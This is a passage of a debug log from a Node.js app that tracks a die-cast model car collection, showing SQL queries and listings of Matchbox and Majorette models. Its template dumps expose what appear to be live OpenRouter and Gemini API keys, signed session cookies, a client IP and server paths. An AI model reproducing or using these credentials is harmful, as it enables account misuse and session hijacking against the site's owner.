    query: 'update `diecast_cars` set `brand_id` = ?, `series` = ?, `model_name` = ?, `release_year` = ?, `scale` = ?, `purchase_date` = ?, `price` = ?, `case` = ?, `vehicle_brand_id` = ?, `condition` = ? where `id` = ?',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2026-02-04T07:04:21.574Z server-connect:output update: { affected: 1 }
2026-02-04T07:04:21.574Z server-connect:app Executing action step upload
2026-02-04T07:04:21.574Z server-connect:app options: {
  path: '/public/assets/images/diecast',
  replaceSpace: true,
  template: '{name}_{guid}{ext}',
  fields: '{{$_POST.images}}'
}
2026-02-04T07:04:21.574Z server-connect:output upload_image: []
2026-02-04T07:04:21.574Z server-connect:app Executing action step repeat
2026-02-04T07:04:21.574Z server-connect:app options: {
  repeat: '{{upload_image}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'images',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array],
      collapsed: true
    }
  }
}
2026-02-04T07:04:21.574Z server-connect:output repeat_images: []
2026-02-04T07:04:21.574Z server-connect:output condition: undefined
2026-02-04T07:04:21.877Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T07:04:21.878Z server-connect:app Executing action step identify
2026-02-04T07:04:21.878Z server-connect:app options: { provider: 'security' }
2026-02-04T07:04:21.878Z server-connect:output identity: 1
2026-02-04T07:04:21.878Z server-connect:app Executing action step restrict
2026-02-04T07:04:21.878Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:04:21.879Z server-connect:output restrict: undefined
2026-02-04T07:04:21.879Z server-connect:app Executing action step paged
2026-02-04T07:04:21.879Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T07:04:21.881Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 157,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 150 },
    current: 1,
    total: 7
  },
  data: [
    {
      id: 180,
      model_name: 'Mercedes-Benz G 500',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 179,
      model_name: 'Mercedes-Benz 190 E 2.5-16 EVO II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 178,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 177,
      model_name: 'Ford Bronco Wildtrak',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 176,
      model_name: 'Ford Mustang Fastback',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 175,
      model_name: 'Mercedes-AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 174,
      model_name: 'Mercedes-AMG GLC 63 S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 173,
      model_name: 'Mercedes-AMG A 35',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 172,
      model_name: 'Mercedes-AMG SL 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 171,
      model_name: 'Mercedes-AMG GT 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 165,
      model_name: 'GMC Hummer EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 164,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 163,
      model_name: 'Toyota GR Supra',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 162,
      model_name: 'Lamborghini Sián FKP 37',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 161,
      model_name: 'Bugatti Chiron Pur Sport',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Bugatti',
      vehicle_brand_id: 129,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 160,
      model_name: '2023 Toyota RAV4 TRD',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 159,
      model_name: 'Ford Police Interceptor',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 158,
      model_name: 'GMC 3500 Utility Truck',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 157,
      model_name: '2015 Honda Ridgeline',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Honda',
      vehicle_brand_id: 112,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 156,
      model_name: '1980 Jeep JIO Stepside',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Jeep',
      vehicle_brand_id: 122,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 155,
      model_name: '2025 RAM 1500 EV',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'RAM',
      vehicle_brand_id: 189,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 154,
      model_name: '2020 Land Rover Defender 90',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 153,
      model_name: 'Pierce Volterra EV',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Pierce',
      vehicle_brand_id: 192,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 152,
      model_name: '17 Toyota Landcruiser 78',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 151,
      model_name: 'Garbage King',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Fantasy',
      brand_id: 73,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T07:04:22.189Z server-connect:router Serving templateView /
2026-02-04T07:04:22.190Z server-connect:app Executing action step identify
2026-02-04T07:04:22.190Z server-connect:app options: { provider: 'security' }
2026-02-04T07:04:22.190Z server-connect:output identity: 1
2026-02-04T07:04:22.190Z server-connect:app Executing action step restrict
2026-02-04T07:04:22.190Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T07:04:22.190Z server-connect:output restrict: undefined
2026-02-04T07:04:22.190Z server-connect:app Executing action step restrict
2026-02-04T07:04:22.190Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T07:04:22.191Z server-connect:output restrict: undefined
2026-02-04T07:04:22.191Z server-connect:router Render template layouts/main
2026-02-04T07:04:22.191Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    accept: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'image',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    HTTP_ACCEPT: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'image',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-02-04T07:04:24.180Z server-connect:router Serving templateView /diecast
2026-02-04T07:04:24.181Z server-connect:app Executing action step identify
2026-02-04T07:04:24.181Z server-connect:app options: { provider: 'security' }
2026-02-04T07:04:24.181Z server-connect:output identity: 1
2026-02-04T07:04:24.181Z server-connect:app Executing action step restrict
2026-02-04T07:04:24.181Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T07:04:24.181Z server-connect:output restrict: undefined
2026-02-04T07:04:24.181Z server-connect:router Render template layouts/main
2026-02-04T07:04:24.181Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"15212-wYlMczzBK3Ab/en8CLs6W1ku/g8"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"15212-wYlMczzBK3Ab/en8CLs6W1ku/g8"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/diecast'
}
2026-02-04T07:04:24.969Z server-connect:router Serving serverConnect /api/masters/get-items
2026-02-04T07:04:24.969Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-02-04T07:04:24.970Z server-connect:app Executing action step identify
2026-02-04T07:04:24.970Z server-connect:app options: { provider: 'security' }
2026-02-04T07:04:24.970Z server-connect:output identity: 1
2026-02-04T07:04:24.970Z server-connect:app Executing action step restrict
2026-02-04T07:04:24.970Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:04:24.970Z server-connect:app Executing action step identify
2026-02-04T07:04:24.970Z server-connect:app options: { provider: 'security' }
2026-02-04T07:04:24.970Z server-connect:output identity: 1
2026-02-04T07:04:24.970Z server-connect:app Executing action step restrict
2026-02-04T07:04:24.970Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:04:24.971Z server-connect:output restrict: undefined
2026-02-04T07:04:24.971Z server-connect:app Executing action step select
2026-02-04T07:04:24.971Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
